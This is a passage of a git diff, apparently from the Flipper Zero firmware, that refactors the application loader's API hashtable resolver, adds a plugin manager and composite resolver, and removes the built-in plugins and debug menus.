a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index e81a3ce4c..dcbad8e13 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -7,7 +7,7 @@ #include #include #include -#include "elf_cpp/elf_hashtable.h" +#include #include "fap_loader_app.h" #define TAG "fap_loader_app" @@ -27,7 +27,7 @@ bool fap_loader_load_name_and_icon( Storage* storage, uint8_t** icon_ptr, FuriString* item_name) { - FlipperApplication* app = flipper_application_alloc(storage, &hashtable_api_interface); + FlipperApplication* app = flipper_application_alloc(storage, firmware_api_interface); FlipperApplicationPreloadStatus preload_res = flipper_application_preload_manifest(app, furi_string_get_cstr(path)); @@ -71,7 +71,7 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { bool show_error = true; do { file_selected = true; - loader->app = flipper_application_alloc(loader->storage, &hashtable_api_interface); + loader->app = flipper_application_alloc(loader->storage, firmware_api_interface); size_t start = furi_get_tick(); FURI_LOG_I(TAG, "FAP Loader is loading %s", furi_string_get_cstr(loader->fap_path)); diff --git a/applications/plugins/application.fam b/applications/plugins/application.fam deleted file mode 100644 index 6d25e45aa..000000000 --- a/applications/plugins/application.fam +++ /dev/null @@ -1,9 +0,0 @@ -App( - appid="basic_plugins", - name="Basic applications for plug-in menu", - apptype=FlipperAppType.METAPACKAGE, - provides=[ - "music_player", - "snake_game", - ], -) diff --git a/applications/services/applications.h b/applications/services/applications.h index 871e9af54..85f736742 100644 --- a/applications/services/applications.h +++ b/applications/services/applications.h @@ -39,18 +39,6 @@ extern const size_t FLIPPER_APPS_COUNT; extern const FlipperOnStartHook FLIPPER_ON_SYSTEM_START[]; extern const size_t FLIPPER_ON_SYSTEM_START_COUNT; -/* Plugins list - * Spawned by loader - */ -extern const FlipperApplication FLIPPER_PLUGINS[]; -extern const size_t FLIPPER_PLUGINS_COUNT; - -/* Debug menu apps - * Spawned by loader - */ -extern const FlipperApplication FLIPPER_DEBUG_APPS[]; -extern const size_t FLIPPER_DEBUG_APPS_COUNT; - /* System apps * Can only be spawned by loader by name */ diff --git a/applications/services/loader/application.fam b/applications/services/loader/application.fam index 91103e46e..49f3c4148 100644 --- a/applications/services/loader/application.fam +++ b/applications/services/loader/application.fam @@ -7,5 +7,8 @@ App( requires=["gui"], stack_size=2 * 1024, order=90, - sdk_headers=["loader.h"], + sdk_headers=[ + "loader.h", + "firmware_api/firmware_api.h", + ], ) diff --git a/applications/services/loader/firmware_api/firmware_api.cpp b/applications/services/loader/firmware_api/firmware_api.cpp new file mode 100644 index 000000000..814dd82c9 --- /dev/null +++ b/applications/services/loader/firmware_api/firmware_api.cpp @@ -0,0 +1,21 @@ +#include "firmware_api.h" + +#include +#include + +/* Generated table */ +#include + +static_assert(!has_hash_collisions(elf_api_table), "Detected API method hash collision!"); + +constexpr HashtableApiInterface elf_api_interface{ + { + .api_version_major = (elf_api_version >> 16), + .api_version_minor = (elf_api_version & 0xFFFF), + .resolver_callback = &elf_resolve_from_hashtable, + }, + .table_cbegin = elf_api_table.cbegin(), + .table_cend = elf_api_table.cend(), +}; + +const ElfApiInterface* const firmware_api_interface = &elf_api_interface; diff --git a/applications/services/loader/firmware_api/firmware_api.h b/applications/services/loader/firmware_api/firmware_api.h new file mode 100644 index 000000000..c73ae8960 --- /dev/null +++ b/applications/services/loader/firmware_api/firmware_api.h @@ -0,0 +1,5 @@ +#pragma once + +#include + +extern const ElfApiInterface* const firmware_api_interface; diff --git a/applications/services/loader/loader.c b/applications/services/loader/loader.c index 5f2d8a2e7..f83d47d63 100644 --- a/applications/services/loader/loader.c +++ b/applications/services/loader/loader.c @@ -88,10 +88,6 @@ static FlipperApplication const* loader_find_application_by_name_in_list( const FlipperApplication* loader_find_application_by_name(const char* name) { const FlipperApplication* application = NULL; application = loader_find_application_by_name_in_list(name, FLIPPER_APPS, FLIPPER_APPS_COUNT); - if(!application) { - application = - loader_find_application_by_name_in_list(name, FLIPPER_PLUGINS, FLIPPER_PLUGINS_COUNT); - } if(!application) { application = loader_find_application_by_name_in_list( name, FLIPPER_SETTINGS_APPS, FLIPPER_SETTINGS_APPS_COUNT); @@ -100,10 +96,6 @@ const FlipperApplication* loader_find_application_by_name(const char* name) { application = loader_find_application_by_name_in_list( name, FLIPPER_SYSTEM_APPS, FLIPPER_SYSTEM_APPS_COUNT); } - if(!application) { - application = loader_find_application_by_name_in_list( - name, FLIPPER_DEBUG_APPS, FLIPPER_DEBUG_APPS_COUNT); - } return application; } @@ -160,18 +152,6 @@ static void loader_cli_list(Cli* cli, FuriString* args, Loader* instance) { for(size_t i = 0; i < FLIPPER_APPS_COUNT; i++) { printf("\t%s\r\n", FLIPPER_APPS[i].name); } - - printf("Plugins:\r\n"); - for(size_t i = 0; i < FLIPPER_PLUGINS_COUNT; i++) { - printf("\t%s\r\n", FLIPPER_PLUGINS[i].name); - } - - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - printf("Debug:\r\n"); - for(size_t i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) { - printf("\t%s\r\n", FLIPPER_DEBUG_APPS[i].name); - } - } } static void loader_cli_info(Cli* cli, FuriString* args, Loader* instance) { @@ -341,22 +321,6 @@ static Loader* loader_alloc() { view_set_previous_callback(menu_get_view(instance->primary_menu), loader_hide_menu); view_dispatcher_add_view( instance->view_dispatcher, LoaderMenuViewPrimary, menu_get_view(instance->primary_menu)); - // Plugins menu - instance->plugins_menu = submenu_alloc(); - view_set_context(submenu_get_view(instance->plugins_menu), instance->plugins_menu); - view_set_previous_callback( - submenu_get_view(instance->plugins_menu), loader_back_to_primary_menu); - view_dispatcher_add_view( - instance->view_dispatcher, - LoaderMenuViewPlugins, - submenu_get_view(instance->plugins_menu)); - // Debug menu - instance->debug_menu = submenu_alloc(); - view_set_context(submenu_get_view(instance->debug_menu), instance->debug_menu); - view_set_previous_callback( - submenu_get_view(instance->debug_menu), loader_back_to_primary_menu); - view_dispatcher_add_view( - instance->view_dispatcher, LoaderMenuViewDebug, submenu_get_view(instance->debug_menu)); // Settings menu instance->settings_menu = submenu_alloc(); view_set_context(submenu_get_view(instance->settings_menu), instance->settings_menu); @@ -385,10 +349,6 @@ static void loader_free(Loader* instance) { menu_free(loader_instance->primary_menu); view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPrimary); - submenu_free(loader_instance->plugins_menu); - view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPlugins); - submenu_free(loader_instance->debug_menu); - view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewDebug); submenu_free(loader_instance->settings_menu); view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewSettings); view_dispatcher_free(loader_instance->view_dispatcher); @@ -411,24 +371,6 @@ static void loader_build_menu() { loader_menu_callback, (void*)&FLIPPER_APPS[i]); } - if(FLIPPER_PLUGINS_COUNT != 0) { - menu_add_item( - loader_instance->primary_menu, - "Plugins", - &A_Plugins_14, - i++, - loader_submenu_callback, - (void*)LoaderMenuViewPlugins); - } - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug) && (FLIPPER_DEBUG_APPS_COUNT > 0)) { - menu_add_item( - loader_instance->primary_menu, - "Debug Tools", - &A_Debug_14, - i++, - loader_submenu_callback, - (void*)LoaderMenuViewDebug); - } menu_add_item( loader_instance->primary_menu, "Settings", @@ -439,29 +381,8 @@ static void loader_build_menu() { } static void loader_build_submenu() { - FURI_LOG_I(TAG, "Building plugins menu"); - size_t i; - for(i = 0; i < FLIPPER_PLUGINS_COUNT; i++) { - submenu_add_item( - loader_instance->plugins_menu, - FLIPPER_PLUGINS[i].name, - i, - loader_menu_callback, - (void*)&FLIPPER_PLUGINS[i]); - } - - FURI_LOG_I(TAG, "Building debug menu"); - for(i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) { - submenu_add_item( - loader_instance->debug_menu, - FLIPPER_DEBUG_APPS[i].name, - i, - loader_menu_callback, - (void*)&FLIPPER_DEBUG_APPS[i]); - } - FURI_LOG_I(TAG, "Building settings menu"); - for(i = 0; i < FLIPPER_SETTINGS_APPS_COUNT; i++) { + for(size_t i = 0; i < FLIPPER_SETTINGS_APPS_COUNT; i++) { submenu_add_item( loader_instance->settings_menu, FLIPPER_SETTINGS_APPS[i].name, diff --git a/applications/services/loader/loader_i.h b/applications/services/loader/loader_i.h index db91f806c..00028cd6b 100644 --- a/applications/services/loader/loader_i.h +++ b/applications/services/loader/loader_i.h @@ -26,8 +26,6 @@ struct Loader { ViewDispatcher* view_dispatcher; Menu* primary_menu; - Submenu* plugins_menu; - Submenu* debug_menu; Submenu* settings_menu; volatile uint8_t lock_count; @@ -37,7 +35,5 @@ struct Loader { typedef enum { LoaderMenuViewPrimary, - LoaderMenuViewPlugins, - LoaderMenuViewDebug, LoaderMenuViewSettings, } LoaderMenuView; diff --git a/assets/.gitignore b/assets/.gitignore index 269577047..a66a6eed4 100644 --- a/assets/.gitignore +++ b/assets/.gitignore @@ -2,3 +2,4 @@ /resources/Manifest /resources/apps/* /resources/dolphin/* +/resources/apps_data/**/*.fal diff --git a/documentation/Doxyfile b/documentation/Doxyfile index 1824e5a52..9611e7f1a 100644 --- a/documentation/Doxyfile +++ b/documentation/Doxyfile @@ -938,7 +938,7 @@ EXCLUDE = \ lib/microtar \ lib/mbedtls \ lib/cxxheaderparser \ - applications/plugins/dap_link/lib/free-dap + applications/external/dap_link/lib/free-dap # The EXCLUDE_SYMLINKS tag can be used to select whether or not files or # directories that are symbolic links (a Unix file system feature) are excluded diff --git a/fbt_options.py b/fbt_options.py index 4850389ad..a10c64b96 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -71,11 +71,6 @@ FIRMWARE_APPS = { "system_apps", # Settings "settings_apps", - # Stock plugins - no longer built into fw, now they're .faps - # Yet you can still build them as a part of fw - # "basic_plugins", - # Debug - # "debug_apps", ], "unit_tests": [ "basic_services", diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 07c323a1b..61195aba6 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.1,, +Version,+,18.2,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -28,6 +28,7 @@ Header,+,applications/services/gui/modules/widget_elements/widget_element.h,, Header,+,applications/services/gui/view_dispatcher.h,, Header,+,applications/services/gui/view_stack.h,, Header,+,applications/services/input/input.h,, +Header,+,applications/services/loader/firmware_api/firmware_api.h,, Header,+,applications/services/loader/loader.h,, Header,+,applications/services/locale/locale.h,, Header,+,applications/services/notification/notification.h,, @@ -104,7 +105,11 @@ Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_tim.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_usart.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_utils.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_wwdg.h,, +Header,+,lib/flipper_application/api_hashtable/api_hashtable.h,, +Header,+,lib/flipper_application/api_hashtable/compilesort.hpp,, Header,+,lib/flipper_application/flipper_application.h,, +Header,+,lib/flipper_application/plugins/composite_resolver.h,, +Header,+,lib/flipper_application/plugins/plugin_manager.h,, Header,+,lib/flipper_format/flipper_format.h,, Header,+,lib/flipper_format/flipper_format_i.h,, Header,+,lib/libusb_stm32/inc/hid_usage_button.h,, @@ -567,6 +572,10 @@ Function,+,cli_session_close,void,Cli* Function,+,cli_session_open,void,"Cli*, void*" Function,+,cli_write,void,"Cli*, const uint8_t*, size_t" Function,-,clock,clock_t, +Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiInterface*" +Function,+,composite_api_resolver_alloc,CompositeApiResolver*, +Function,+,composite_api_resolver_free,void,CompositeApiResolver* +Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* Function,+,crc32_calc_buffer,uint32_t,"uint32_t, const void*, size_t" Function,+,crc32_calc_file,uint32_t,"File*, const FileCrcProgressCb, void*" Function,-,ctermid,char*,char* @@ -639,6 +648,7 @@ Function,+,elements_slightly_rounded_box,void,"Canvas*, uint8_t, uint8_t, uint8_ Function,+,elements_slightly_rounded_frame,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" Function,+,elements_string_fit_width,void,"Canvas*, FuriString*, uint8_t" Function,+,elements_text_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, Align, Align, const char*, _Bool" +Function,+,elf_resolve_from_hashtable,_Bool,"const ElfApiInterface*, const char*, Elf32_Addr*" Function,+,empty_screen_alloc,EmptyScreen*, Function,+,empty_screen_free,void,EmptyScreen* Function,+,empty_screen_get_view,View*,EmptyScreen* @@ -696,14 +706,16 @@ Function,-,fiscanf,int,"FILE*, const char*, ..." Function,+,flipper_application_alloc,FlipperApplication*,"Storage*, const ElfApiInterface*" Function,+,flipper_application_free,void,FlipperApplication* Function,+,flipper_application_get_manifest,const FlipperApplicationManifest*,FlipperApplication* +Function,+,flipper_application_is_plugin,_Bool,FlipperApplication* Function,+,flipper_application_load_status_to_string,const char*,FlipperApplicationLoadStatus Function,+,flipper_application_manifest_is_compatible,_Bool,"const FlipperApplicationManifest*, const ElfApiInterface*" Function,+,flipper_application_manifest_is_target_compatible,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_manifest_is_valid,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_map_to_memory,FlipperApplicationLoadStatus,FlipperApplication* +Function,+,flipper_application_plugin_get_descriptor,const FlipperAppPluginDescriptor*,FlipperApplication* Function,+,flipper_application_preload,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" Function,+,flipper_application_preload_manifest,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" -Function,-,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus +Function,+,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus Function,+,flipper_application_spawn,FuriThread*,"FlipperApplication*, void*" Function,+,flipper_format_buffered_file_alloc,FlipperFormat*,Storage* Function,+,flipper_format_buffered_file_close,_Bool,FlipperFormat* @@ -1473,6 +1485,13 @@ Function,-,pcTaskGetName,char*,TaskHandle_t Function,-,pcTimerGetName,const char*,TimerHandle_t Function,-,pclose,int,FILE* Function,-,perror,void,const char* +Function,+,plugin_manager_alloc,PluginManager*,"const char*, uint32_t, const ElfApiInterface*" +Function,+,plugin_manager_free,void,PluginManager* +Function,+,plugin_manager_get,const FlipperAppPluginDescriptor*,"PluginManager*, uint32_t" +Function,+,plugin_manager_get_count,uint32_t,PluginManager* +Function,+,plugin_manager_get_ep,const void*,"PluginManager*, uint32_t" +Function,+,plugin_manager_load_all,PluginManagerError,"PluginManager*, const char*" +Function,+,plugin_manager_load_single,PluginManagerError,"PluginManager*, const char*" Function,-,popen,FILE*,"const char*, const char*" Function,+,popup_alloc,Popup*, Function,+,popup_disable_timeout,void,Popup* @@ -2053,6 +2072,7 @@ Variable,-,_sys_nerr,int, Variable,-,_timezone,long, Variable,-,_tzname,char*[2], Variable,+,cli_vcp,CliSession, +Variable,+,firmware_api_interface,const ElfApiInterface*, Variable,+,furi_hal_i2c_bus_external,FuriHalI2cBus, Variable,+,furi_hal_i2c_bus_power,FuriHalI2cBus, Variable,+,furi_hal_i2c_handle_external,FuriHalI2cBusHandle, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index fcacaeee9..e46322f4b 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.1,, +Version,+,18.2,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -28,6 +28,7 @@ Header,+,applications/services/gui/modules/widget_elements/widget_element.h,, Header,+,applications/services/gui/view_dispatcher.h,, Header,+,applications/services/gui/view_stack.h,, Header,+,applications/services/input/input.h,, +Header,+,applications/services/loader/firmware_api/firmware_api.h,, Header,+,applications/services/loader/loader.h,, Header,+,applications/services/locale/locale.h,, Header,+,applications/services/notification/notification.h,, @@ -110,7 +111,11 @@ Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_tim.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_usart.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_utils.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_wwdg.h,, +Header,+,lib/flipper_application/api_hashtable/api_hashtable.h,, +Header,+,lib/flipper_application/api_hashtable/compilesort.hpp,, Header,+,lib/flipper_application/flipper_application.h,, +Header,+,lib/flipper_application/plugins/composite_resolver.h,, +Header,+,lib/flipper_application/plugins/plugin_manager.h,, Header,+,lib/flipper_format/flipper_format.h,, Header,+,lib/flipper_format/flipper_format_i.h,, Header,+,lib/infrared/encoder_decoder/infrared.h,, @@ -679,6 +684,10 @@ Function,+,cli_session_close,void,Cli* Function,+,cli_session_open,void,"Cli*, void*" Function,+,cli_write,void,"Cli*, const uint8_t*, size_t" Function,-,clock,clock_t, +Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiInterface*" +Function,+,composite_api_resolver_alloc,CompositeApiResolver*, +Function,+,composite_api_resolver_free,void,CompositeApiResolver* +Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* Function,-,copysign,double,"double, double" Function,-,copysignf,float,"float, float" Function,-,copysignl,long double,"long double, long double" @@ -778,6 +787,7 @@ Function,+,elements_slightly_rounded_box,void,"Canvas*, uint8_t, uint8_t, uint8_ Function,+,elements_slightly_rounded_frame,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" Function,+,elements_string_fit_width,void,"Canvas*, FuriString*, uint8_t" Function,+,elements_text_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, Align, Align, const char*, _Bool" +Function,+,elf_resolve_from_hashtable,_Bool,"const ElfApiInterface*, const char*, Elf32_Addr*" Function,+,empty_screen_alloc,EmptyScreen*, Function,+,empty_screen_free,void,EmptyScreen* Function,+,empty_screen_get_view,View*,EmptyScreen* @@ -863,14 +873,16 @@ Function,-,fiscanf,int,"FILE*, const char*, ..." Function,+,flipper_application_alloc,FlipperApplication*,"Storage*, const ElfApiInterface*" Function,+,flipper_application_free,void,FlipperApplication* Function,+,flipper_application_get_manifest,const FlipperApplicationManifest*,FlipperApplication* +Function,+,flipper_application_is_plugin,_Bool,FlipperApplication* Function,+,flipper_application_load_status_to_string,const char*,FlipperApplicationLoadStatus Function,+,flipper_application_manifest_is_compatible,_Bool,"const FlipperApplicationManifest*, const ElfApiInterface*" Function,+,flipper_application_manifest_is_target_compatible,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_manifest_is_valid,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_map_to_memory,FlipperApplicationLoadStatus,FlipperApplication* +Function,+,flipper_application_plugin_get_descriptor,const FlipperAppPluginDescriptor*,FlipperApplication* Function,+,flipper_application_preload,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" Function,+,flipper_application_preload_manifest,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" -Function,-,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus +Function,+,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus Function,+,flipper_application_spawn,FuriThread*,"FlipperApplication*, void*" Function,+,flipper_format_buffered_file_alloc,FlipperFormat*,Storage* Function,+,flipper_format_buffered_file_close,_Bool,FlipperFormat* @@ -2091,6 +2103,13 @@ Function,-,platformProtectST25RComm,void, Function,-,platformSetIrqCallback,void,PlatformIrqCallback Function,-,platformSpiTxRx,_Bool,"const uint8_t*, uint8_t*, uint16_t" Function,-,platformUnprotectST25RComm,void, +Function,+,plugin_manager_alloc,PluginManager*,"const char*, uint32_t, const ElfApiInterface*" +Function,+,plugin_manager_free,void,PluginManager* +Function,+,plugin_manager_get,const FlipperAppPluginDescriptor*,"PluginManager*, uint32_t" +Function,+,plugin_manager_get_count,uint32_t,PluginManager* +Function,+,plugin_manager_get_ep,const void*,"PluginManager*, uint32_t" +Function,+,plugin_manager_load_all,PluginManagerError,"PluginManager*, const char*" +Function,+,plugin_manager_load_single,PluginManagerError,"PluginManager*, const char*" Function,-,popen,FILE*,"const char*, const char*" Function,+,popup_alloc,Popup*, Function,+,popup_disable_timeout,void,Popup* @@ -3021,6 +3040,7 @@ Variable,-,_sys_nerr,int, Variable,-,_timezone,long, Variable,-,_tzname,char*[2], Variable,+,cli_vcp,CliSession, +Variable,+,firmware_api_interface,const ElfApiInterface*, Variable,+,furi_hal_i2c_bus_external,FuriHalI2cBus, Variable,+,furi_hal_i2c_bus_power,FuriHalI2cBus, Variable,+,furi_hal_i2c_handle_external,FuriHalI2cBusHandle, diff --git a/furi/flipper.c b/furi/flipper.c index f0147c060..5c2ad8138 100644 --- a/furi/flipper.c +++ b/furi/flipper.c @@ -33,7 +33,7 @@ void flipper_init() { FURI_LOG_I(TAG, "Boot mode %d, starting services", furi_hal_rtc_get_boot_mode()); for(size_t i = 0; i < FLIPPER_SERVICES_COUNT; i++) { - FURI_LOG_I(TAG, "Starting service %s", FLIPPER_SERVICES[i].name); + FURI_LOG_D(TAG, "Starting service %s", FLIPPER_SERVICES[i].name); FuriThread* thread = furi_thread_alloc_ex( FLIPPER_SERVICES[i].name, diff --git a/lib/flipper_application/SConscript b/lib/flipper_application/SConscript index 9fbbf95d1..d253cc82c 100644 --- a/lib/flipper_application/SConscript +++ b/lib/flipper_application/SConscript @@ -6,6 +6,10 @@ env.Append( ], SDK_HEADERS=[ File("flipper_application.h"), + File("plugins/plugin_manager.h"), + File("plugins/composite_resolver.h"), + File("api_hashtable/api_hashtable.h"), + File("api_hashtable/compilesort.hpp"), ], ) @@ -14,6 +18,7 @@ libenv = env.Clone(FW_LIB_NAME="flipper_application") libenv.ApplyLibFlags() sources = libenv.GlobRecursive("*.c") +sources.append(File("api_hashtable/api_hashtable.cpp")) lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) libenv.Install("${LIB_DIST_DIR}", lib) diff --git a/lib/flipper_application/api_hashtable/api_hashtable.cpp b/lib/flipper_application/api_hashtable/api_hashtable.cpp new file mode 100644 index 000000000..022792dce --- /dev/null +++ b/lib/flipper_application/api_hashtable/api_hashtable.cpp @@ -0,0 +1,38 @@ +#include "api_hashtable.h" + +#include +#include + +#define TAG "hashtable_api" + +bool elf_resolve_from_hashtable( + const ElfApiInterface* interface, + const char* name, + Elf32_Addr* address) { + const HashtableApiInterface* hashtable_interface = + static_cast(interface); + bool result = false; + uint32_t gnu_sym_hash = elf_gnu_hash(name); + + sym_entry key = { + .hash = gnu_sym_hash, + .address = 0, + }; + + auto find_res = + std::lower_bound(hashtable_interface->table_cbegin, hashtable_interface->table_cend, key); + if((find_res == hashtable_interface->table_cend || (find_res->hash != gnu_sym_hash))) { + FURI_LOG_W( + TAG, + "Can't find symbol '%s' (hash %lx) @ %p!", + name, + gnu_sym_hash, + hashtable_interface->table_cbegin); + result = false; + } else { + result = true; + *address = find_res->address; + } + + return result; +} diff --git a/lib/flipper_application/api_hashtable/api_hashtable.h b/lib/flipper_application/api_hashtable/api_hashtable.h new file mode 100644 index 000000000..7e4b4aba1 --- /dev/null +++ b/lib/flipper_application/api_hashtable/api_hashtable.h @@ -0,0 +1,85 @@ +#pragma once + +#include + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Symbol table entry + */ +struct sym_entry { + uint32_t hash; + uint32_t address; +}; + +/** + * @brief Resolver for API entries using a pre-sorted table with hashes + * @param interface pointer to HashtableApiInterface + * @param name function name + * @param address output for function address + * @return true if the table contains a function + */ +bool elf_resolve_from_hashtable( + const ElfApiInterface* interface, + const char* name, + Elf32_Addr* address); + +#ifdef __cplusplus +} + +#include +#include + +/** + * @brief HashtableApiInterface is an implementation of ElfApiInterface + * that uses a hash table to resolve function addresses. + * table_cbegin and table_cend must point to a sorted array of sym_entry + */ +struct HashtableApiInterface : public ElfApiInterface { + const sym_entry *table_cbegin, *table_cend; +}; + +#define API_METHOD(x, ret_type, args_type) \ + sym_entry { \ + .hash = elf_gnu_hash(#x), .address = (uint32_t)(static_cast(x)) \ + } + +#define API_VARIABLE(x, var_type) \ + sym_entry { .hash = elf_gnu_hash(#x), .address = (uint32_t)(&(x)), } + +constexpr bool operator<(const sym_entry& k1, const sym_entry& k2) { + return k1.hash < k2.hash; +} + +/** + * @brief Calculate hash for a string using the ELF GNU hash algorithm + * @param s string to calculate hash for + * @return hash value + */ +constexpr uint32_t elf_gnu_hash(const char* s) { + uint32_t h = 0x1505; + for(unsigned char c = *s; c != '\0'; c = *++s) { + h = (h << 5) + h + c; + } + return h; +} + +/* Compile-time check for hash collisions in API table. + * Usage: static_assert(!has_hash_collisions(api_methods), "Hash collision detected"); + */ +template +constexpr bool has_hash_collisions(const std::array& api_methods) { + for(std::size_t i = 0; i < (N - 1); ++i) { + if(api_methods[i].hash == api_methods[i + 1].hash) { + return true; + } + } + + return false; +} + +#endif \ No newline at end of file diff --git a/applications/main/fap_loader/elf_cpp/compilesort.hpp b/lib/flipper_application/api_hashtable/compilesort.hpp similarity index 99% rename from applications/main/fap_loader/elf_cpp/compilesort.hpp rename to lib/flipper_application/api_hashtable/compilesort.hpp index 746611697..9737fd022 100644 --- a/applications/main/fap_loader/elf_cpp/compilesort.hpp +++ b/lib/flipper_application/api_hashtable/compilesort.hpp @@ -4,6 +4,8 @@ #pragma once +#ifdef __cplusplus + #include #include @@ -109,3 +111,5 @@ constexpr auto create_array_t(const Ts&&... values) { static_assert(traits::are_same_type(), "all elements must have same type"); return std::array{static_cast(values)...}; } + +#endif diff --git a/lib/flipper_application/elf/elf_api_interface.h b/lib/flipper_application/elf/elf_api_interface.h index ca31fc483..f07df4edb 100644 --- a/lib/flipper_application/elf/elf_api_interface.h +++ b/lib/flipper_application/elf/elf_api_interface.h @@ -3,10 +3,14 @@ #include #include -#define ELF_INVALID_ADDRESS 0xFFFFFFFF - -typedef struct { +/** + * @brief Interface for ELF loader to resolve symbols + */ +typedef struct ElfApiInterface { uint16_t api_version_major; uint16_t api_version_minor; - bool (*resolver_callback)(const char* name, Elf32_Addr* address); + bool (*resolver_callback)( + const struct ElfApiInterface* interface, + const char* name, + Elf32_Addr* address); } ElfApiInterface; diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 58e315333..146afccb5 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -17,6 +17,8 @@ #define FURI_LOG_D(...) #endif +#define ELF_INVALID_ADDRESS 0xFFFFFFFF + #define TRAMPOLINE_CODE_SIZE 6 /** @@ -166,7 +168,7 @@ static ELFSection* elf_section_of(ELFFile* elf, int index) { static Elf32_Addr elf_address_of(ELFFile* elf, Elf32_Sym* sym, const char* sName) { if(sym->st_shndx == SHN_UNDEF) { Elf32_Addr addr = 0; - if(elf->api_interface->resolver_callback(sName, &addr)) { + if(elf->api_interface->resolver_callback(elf->api_interface, sName, &addr)) { return addr; } } else { @@ -514,10 +516,13 @@ static SectionType elf_preload_section( section_p->sec_idx = section_idx; if(section_header->sh_type == SHT_PREINIT_ARRAY) { + furi_assert(elf->preinit_array == NULL); elf->preinit_array = section_p; } else if(section_header->sh_type == SHT_INIT_ARRAY) { + furi_assert(elf->init_array == NULL); elf->init_array = section_p; } else if(section_header->sh_type == SHT_FINI_ARRAY) { + furi_assert(elf->fini_array == NULL); elf->fini_array = section_p; } @@ -605,10 +610,17 @@ ELFFile* elf_file_alloc(Storage* storage, const ElfApiInterface* api_interface) elf->api_interface = api_interface; ELFSectionDict_init(elf->sections); AddressCache_init(elf->trampoline_cache); + elf->init_array_called = false; return elf; } void elf_file_free(ELFFile* elf) { + // furi_check(!elf->init_array_called); + if(elf->init_array_called) { + FURI_LOG_W(TAG, "Init array was called, but fini array wasn't"); + elf_file_call_section_list(elf->fini_array, true); + } + // free sections data { ELFSectionDict_it_t it; @@ -774,19 +786,26 @@ ELFFileLoadStatus elf_file_load_sections(ELFFile* elf) { return status; } -void elf_file_pre_run(ELFFile* elf) { +void elf_file_call_init(ELFFile* elf) { + furi_check(!elf->init_array_called); elf_file_call_section_list(elf->preinit_array, false); elf_file_call_section_list(elf->init_array, false); + elf->init_array_called = true; } -int32_t elf_file_run(ELFFile* elf, void* args) { - int32_t result; - result = ((int32_t(*)(void*))elf->entry)(args); - return result; +bool elf_file_is_init_complete(ELFFile* elf) { + return elf->init_array_called; } -void elf_file_post_run(ELFFile* elf) { +void* elf_file_get_entry_point(ELFFile* elf) { + furi_check(elf->init_array_called); + return (void*)elf->entry; +} + +void elf_file_call_fini(ELFFile* elf) { + furi_check(elf->init_array_called); elf_file_call_section_list(elf->fini_array, true); + elf->init_array_called = false; } const ElfApiInterface* elf_file_get_api_interface(ELFFile* elf_file) { diff --git a/lib/flipper_application/elf/elf_file.h b/lib/flipper_application/elf/elf_file.h index f371cdb22..631fe122f 100644 --- a/lib/flipper_application/elf/elf_file.h +++ 